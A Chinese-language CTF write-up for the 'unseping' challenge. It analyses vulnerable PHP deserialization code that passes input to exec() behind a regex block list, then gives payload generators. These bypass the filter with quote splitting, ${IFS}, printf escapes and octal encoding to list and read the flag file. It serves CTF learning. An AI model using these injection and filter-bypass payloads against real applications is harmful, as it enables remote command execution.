unseping攻防世界
源码分析
<?php
highlight_file(__FILE__);//代码高亮
class ease{//声明了两个私有属性:保存要调用的方法的名称和保存该方法的参数。$method,$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。function __construct($method, $args) {$this->method = $method;$this->args = $args;}//析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。function __destruct(){//if (in_array($this->method, array("ping"))) {//call_user_func_array() 是一个函数,用于调用一个回调函数(方法),并传递参数。call_user_func_array(array($this, $this->method), $this->args);}//检查当前请求的方法 $this->method 是否为 "ping"。如果是,调用该方法(即 $this->method),并将 $this->args 作为参数传递。} //该方法将 IP 地址作为参数,并使用 将其作为 shell 命令exec执行function ping($ip){exec($ip, $result);var_dump($result);}//防火墙,通过正则匹配过滤了|,&,;,空格,/,cat,flag,tac,php,lsfunction waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}//当对象被反序列化时,将调用该方法。它遍历属性,使用该方法匹配清理每个参数function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}
//采用POST传参的方式,@抑制报错信息
$ctf=@$_POST['ctf'];
//将传入参数进行base64解码,再反序列化。
@unserialize(base64_decode($ctf));
?>
解题思路
1:要求:
对post传入的参数进行了base64解密,和反序列化。意思就是传入的值经过了base64加密和序列化。
2:preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)这句话也是一个思路,为什么过滤这些命令,肯定是对解题有帮助才不让我们用,那我们就需要绕过这些命令。
3:我们的目的是找flag,那我们就需要借助ls查看一下整体的布局,看能不能检索出有用的信息来。
第一步:构造原始poc验证思路
<?php
class ease{ private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a=new ease("ping",array('l""s'));
$b=serialize($a);
echo base64_encode($b);
?>
发现回显don’t hack,这是为什么呢?我们使用了ls命令,而正则匹配那里过滤了这个语句,所有返回don’t hack。
解题
绕过ls命令
1:“”
$a=new ease("ping",array('l""s'));
2:${Z}
$a=new ease("ping",array('l${Z}s'));
3:${IFS}
根据回显进一步解题
${IFS}
命令执行漏洞的空格过滤,在linux当中,%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFS、IFS这些都可以当做空格符作为代替。此题中 $IFS$9, ${IFS}可以绕过空格此题中
1:思路
回显array(2) { [0]=> string(12) “flag_1s_here” [1]=> string(9) “index.php” } ,
显而易见藏有flag的目录在flag_1s_here,为什么不是文档英文如果是文档应该带有文件后缀,就像后面的.php,再者说如果将文件后缀名藏匿起来了后面的index.php的后缀名也应该藏起来了。这里首先猜是目录。
2:执行命令ls flag_1s_here
$a=new ease("ping",array('l""s${IFS}fla""g_1s_here'));
完整运行代码
执行成功,返回了藏有flag的php文件
3: 查看flag_831b69012c67b35f.php用到的原始命令
tac flag_1s_here/flag_831b69012c67b35f.php,
tac flag_1s_here/flag_831b69012c67b35f.php都行
加工插入poc
$a=new ease("ping",array('ta""c${IFS}fl""ag_1s_here$(printf${IFS}"\57")fla""g_831b69012c67b35f.p""hp'));
//$()中可以执行函数,"\57"为\ascii值
//$(printf${IFS}"\57")这句话用来跳过\
解法2
linux中$(printf)
1: ( ) 中可以执行命令,当 ()中可以执行命令,当 ()中可以执行命令,当()中为printf时执行打印命令。
举例
echo $(printf "\154\163")
\154 是字符 'l' 的八进制表示。
\163 是字符 's' 的八进制表示。
因此,$(printf "\154\163") 会输出字符串 ls。就会执行ls命令。
同理,这里的”\154\163“翻译成字母是ls,打印ls命令就执行了ls命令,而我们要执行的命令tac flag_1s_here/flag_831b69012c67b35f.php是否也可以用此法?
oct绕过,将命令转为八进制,执行下面代码的第二个自定义函数将命令转为八进制字符串。
def string_to_binary(string):# 将每个字符转换为其二进制表示并格式化binary_string = '\\'.join(format(ord(char), '08b') for char in string)return binary_stringdef string_to_octal(string):# 将每个字符转换为其八进制表示并格式化# ord(char)获取字符的ASCII值。# format(ord(char), '03o')将ASCII值转换为三位的八进制表示。# join()将生成的八进制字符串连接成一个以 \ 分隔的字符串。octal_string = '\\'.join(format(ord(char), '03o') for char in string)return octal_stringdef string_to_hex(string):# 将每个字符转换为其十六进制表示并格式化hex_string = '\\'.join(format(ord(char), '02x') for char in string)return hex_stringstr1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
binary_string = string_to_binary(str1)
octal_string = string_to_octal(str1)
hex_string = string_to_hex(str1)
print(f"二进制\{binary_string}")
print('\n')
print(f"八进制\{octal_string}")
print('\n')
print(f"十六进制\{hex_string}")
成功。
既然可以用编码执行命令那我们是不是可以将之前的所有步骤都用此法绕过???
经过验证完全可以,感兴趣可以去试试。
相关文章:

unseping攻防世界
源码分析 <?php highlight_file(__FILE__);//代码高亮 class ease{//声明了两个私有属性:保存要调用的方法的名称和保存该方法的参数。$method,$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。…...
大厂面试真题-简单描述一下SpringBoot的启动过程
SpringBoot的启动流程是一个复杂但有序的过程,它涉及多个步骤和组件的协同工作。以下是SpringBoot启动流程的详细解析: 一、启动main方法 当SpringBoot项目启动时,它会在当前工作目录下寻找有SpringBootApplication注解标识的类,…...
4. 硬件实现
博客补充: CUDA C 编程指南学习_c cuda编程-CSDN博客https://blog.csdn.net/qq_62704693/article/details/141225395?spm1001.2014.3001.5501NVIDIA GPU 架构是围绕可扩展的多线程流式多处理器 (SM) 阵列构建的。当主机 CPU 上的 CUDA 程序…...

《操作系统真象还原》第3章 完善MBR【3.1 — 3.2】
目录 引用与说明 3.1、地址、section、vstart 浅尝辄止 1、什么是地址 2、什么是 section【汇编】 3、什么是 vstart【汇编】 3.2、CPU 的实模式 1、CPU 工作原理【重要】 2、实模式下的寄存器 4、实模式下 CPU 内存寻址方式 5、栈到底是什么玩意儿 6 ~ 8 无条件转移…...
八大排序-冒泡排序
在里面找动图理解 【数据结构】八大排序(超详解附动图源码)_数据结构排序-CSDN博客 一 简介 冒泡排序应该是我们最熟悉的排序了,在C语言阶段我们就学习了冒泡排序。 他的思想也非常简单: 两两元素相比,前一个比后一个大就交换࿰…...

基于Spring Boot+Vue的助农销售平台(协同过滤算法、节流算法、支付宝沙盒支付、图形化分析)
🎈系统亮点:协同过滤算法、节流算法、支付宝沙盒支付、图形化分析; 一.系统开发工具与环境搭建 1.系统设计开发工具 后端使用Java编程语言的Spring boot框架 项目架构:B/S架构 运行环境:win10/win11、jdk17 前端&…...
uniapp写抖音小程序阻止右滑返回上一个页面
最近用uniapp写小程序遇到一个问题因为内部用到右滑的业务,但是只要右滑就会回到上一页面,用了event.preventDeafult()没有用,看了文档找到了解决办法 1.在最外层view加上touchstart事件 <view class"container" touchstart&q…...

华为配置手工负载分担模式链路聚合实验
目录 组网需求 配置思路 操作步骤 配置文件 组网图形 图1 配置手工负载分担模式链路聚合组网图 组网需求配置思路操作步骤配置文件 组网需求 如图1所示,AC1和AC2通过以太链路分别都连接VLAN10和VLAN20,且AC1和AC2之间有较大的数据流量。 用户希望A…...

【Spring】Cookie与Session
💐个人主页:初晴~ 📚相关专栏:计算机网络那些事 一、Cookie是什么? Cookie的存在主要是为了解决HTTP协议的无状态性问题,即协议本身无法记住用户之前的操作。 "⽆状态" 的含义指的是: 默认情况…...
chat_gpt回答:qt中,常见格式及格式转换
在Qt中,常见的数据格式包括: QVariant:可以存储多种数据类型,包括整型、浮点型、字符串、布尔值、日期等。QString:用于存储和处理文本字符串。QByteArray:用于处理字节数组,常用于二进制数据。…...

CSS兼容处理
“前端开发兼容——CSS篇” 在前端开发中,CSS样式的兼容性问题常常让开发者感到棘手,尤其是当涉及到IE浏览器时。由于IE浏览器版本繁多,每个版本在CSS支持上还存在差异,这导致开发者在实现统一的视觉效果时,不得不编写…...

制氮机分子筛的材质选择
制氮机分子筛的材质选择对于其性能和效率至关重要。作为制氮设备中的核心部件,分子筛承担着将空气中的氮气与氧气有效分离的重任。以下是对制氮机分子筛常用材质的详细探讨: 制氮机分子筛的主要材质 碳分子筛(CMS) 碳分子筛由活性炭经过特殊工艺加工而成…...
使用Virtual Audio Cable捕获系统音频输出并使用Python处理
一、下载安装Virtual Audio Cable,软件下载地址和安装过程略过。 二、Virtual Audio Cable使用方法Virtual Audio Cable使用笔记一:使用Virtual Audio Cable将播放器的音频流传输到真实声卡驱动中_virtual audio cable control panel-CSDN博客 三、打开…...

微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析
微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析 目录 微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析 1、iOS在scroll-view内部上下滑动吸顶的现象 正常的上下滑动吸顶覆盖: iOS及iPa…...

HDU-1695 GCD
题目大意:已知 1 < x < b , 1 < y < d , 求 gcd ( x , y ) k 的对数。请注意,(x5, y7) 和 (x7, y5) 被认为是相同的。 思路:先将 gcd ( x , y ) k 两边同时…...

unity游戏开发之赛车游戏
在这个 unity 2d 赛车游戏教程中,我将构建一款移动超休闲赛车游戏。 这将是一个简单的 unity 2d 汽车游戏。所以这将需要有一个可以无限滚动的背景。 我们需要避开一些障碍。一些评分系统。 以及一种使用我们的手机加速度计控制我们的汽车的方法。然后,我…...

解决milvus migration 迁移数据到出现数据丢失问题
在迁移数据的时候发现数据丢失 问题是数据在批量迁移的过程中,这个错误会被忽略掉 分析下来是因为buuferSize 设置的是500条数据,但是迁移工具对一次迁移的数据是是有大小限制的,如果500条数据的总大小大于4194304,就会导致数据…...
Python Flask 数据库开发
Python Flask 数据库开发 引言环境配置创建 Flask 应用,连接数据库定义路由定义模型创建表创建 API 数据库直接操作启动 Flask 应用app.py 示例运行 Flask访问应用 展望 引言 在现代 web 开发中,Python 的 Flask 框架因其轻量和灵活性受到广泛欢迎。结合…...

深度学习(七)深度强化学习:融合创新的智能之路(7/10)
一、深度强化学习的崛起 深度强化学习在人工智能领域的重要地位 深度强化学习作为一种融合了深度学习和强化学习的新技术,在人工智能领域占据着至关重要的地位。它结合了深度学习强大的感知能力和强化学习优秀的决策能力,能够处理复杂的任务和环境。例如…...
mac电脑通过 npm 安装 @vue/cli脚手架超时问题;
npm 安装 vue/cli遇到的问题步骤 一、安装 Homebrew 如果你还没有安装 Homebrew,首先需要安装它。Homebrew 是 macOS 上的一款包管理工具,它允许你通过简单的命令行指令安装、更新和卸载软件包。; 1, 打开终端(Terminal…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
【AI学习】三、AI算法中的向量
在人工智能(AI)算法中,向量(Vector)是一种将现实世界中的数据(如图像、文本、音频等)转化为计算机可处理的数值型特征表示的工具。它是连接人类认知(如语义、视觉特征)与…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...

多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
服务器--宝塔命令
一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行! sudo su - 1. CentOS 系统: yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...
C语言中提供的第三方库之哈希表实现
一. 简介 前面一篇文章简单学习了C语言中第三方库(uthash库)提供对哈希表的操作,文章如下: C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...